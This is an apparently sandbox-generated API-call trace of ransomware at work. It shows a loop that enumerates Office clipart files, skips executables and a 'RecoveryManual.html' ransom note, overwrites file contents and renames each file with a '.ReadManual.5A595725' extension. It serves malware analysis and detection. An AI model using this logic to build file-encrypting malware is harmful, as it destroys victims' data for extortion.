1 [0271.237] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.237] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x112e) returned 0x2f0000 [0271.237] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39190613177) returned 1 [0271.237] CloseHandle (hObject=0x184) returned 1 [0271.237] SetSecurityInfo () returned 0x57 [0271.238] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.238] CloseHandle (hObject=0x194) returned 1 [0271.238] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0271.238] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00693_.WMF" | out: lpString1="PE00693_.WMF") returned="PE00693_.WMF" [0271.238] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.238] StrStrIW (lpFirst="PE00693_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.238] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.238] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.238] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" [0271.238] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.ReadManual.5A595725" [0271.238] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.ReadManual.5A595725") returned 87 [0271.238] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39190707311) returned 1 [0271.238] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf")) returned 0x20 [0271.239] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.239] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4408) returned 1 [0271.239] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1138, lpName=0x0) returned 0x184 [0271.239] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.240] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.240] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.241] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.242] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1138) returned 0x2f0000 [0271.242] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.242] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39191062459) returned 1 [0271.242] CloseHandle (hObject=0x184) returned 1 [0271.242] SetSecurityInfo () returned 0x57 [0271.242] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.242] CloseHandle (hObject=0x194) returned 1 [0271.242] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0271.242] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00720_.WMF" | out: lpString1="PE00720_.WMF") returned="PE00720_.WMF" [0271.242] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.242] StrStrIW (lpFirst="PE00720_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.242] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.242] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.243] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.243] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.243] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.243] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.243] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.243] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" [0271.243] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.ReadManual.5A595725" [0271.243] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.ReadManual.5A595725") returned 87 [0271.243] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39191169171) returned 1 [0271.243] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf")) returned 0x20 [0271.243] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.243] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14630) returned 1 [0271.244] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3926, lpName=0x0) returned 0x184 [0271.244] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.244] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.244] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.248] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.248] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3926) returned 0x2f0000 [0271.249] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.249] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39191761307) returned 1 [0271.249] CloseHandle (hObject=0x184) returned 1 [0271.249] SetSecurityInfo () returned 0x57 [0271.249] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.249] CloseHandle (hObject=0x194) returned 1 [0271.249] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0271.249] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00723_.WMF" | out: lpString1="PE00723_.WMF") returned="PE00723_.WMF" [0271.249] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.249] StrStrIW (lpFirst="PE00723_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.249] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.249] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.250] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.250] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.250] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.250] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.250] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.250] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.250] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" [0271.250] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.ReadManual.5A595725" [0271.250] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.ReadManual.5A595725") returned 87 [0271.250] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39191852786) returned 1 [0271.250] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf")) returned 0x20 [0271.250] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.250] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6908) returned 1 [0271.250] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1afc, lpName=0x0) returned 0x184 [0271.250] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.251] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.251] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.253] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.253] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1afc) returned 0x2f0000 [0271.253] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.253] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39192214926) returned 1 [0271.253] CloseHandle (hObject=0x184) returned 1 [0271.253] SetSecurityInfo () returned 0x57 [0271.254] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.254] CloseHandle (hObject=0x194) returned 1 [0271.254] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0271.254] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00726_.WMF" | out: lpString1="PE00726_.WMF") returned="PE00726_.WMF" [0271.254] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.254] StrStrIW (lpFirst="PE00726_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.254] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.254] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.254] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" [0271.254] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.ReadManual.5A595725" [0271.254] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.ReadManual.5A595725") returned 87 [0271.254] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39192307648) returned 1 [0271.254] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf")) returned 0x20 [0271.255] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.255] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=45476) returned 1 [0271.255] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb1a4, lpName=0x0) returned 0x184 [0271.255] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.256] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.256] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.258] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.258] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb1a4) returned 0x2f0000 [0271.259] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.259] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39192823208) returned 1 [0271.260] CloseHandle (hObject=0x184) returned 1 [0271.260] SetSecurityInfo () returned 0x57 [0271.260] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.260] CloseHandle (hObject=0x194) returned 1 [0271.260] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0271.260] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00737_.WMF" | out: lpString1="PE00737_.WMF") returned="PE00737_.WMF" [0271.260] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.260] StrStrIW (lpFirst="PE00737_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.260] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.260] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.260] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" [0271.260] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.ReadManual.5A595725" [0271.260] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.ReadManual.5A595725") returned 87 [0271.260] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39192914286) returned 1 [0271.260] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf")) returned 0x20 [0271.261] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.262] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40492) returned 1 [0271.262] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9e2c, lpName=0x0) returned 0x184 [0271.262] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.262] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.263] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.264] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.264] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9e2c) returned 0x2f0000 [0271.266] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.266] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39193461293) returned 1 [0271.266] CloseHandle (hObject=0x184) returned 1 [0271.266] SetSecurityInfo () returned 0x57 [0271.266] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.266] CloseHandle (hObject=0x194) returned 1 [0271.266] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0271.266] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00833_.WMF" | out: lpString1="PE00833_.WMF") 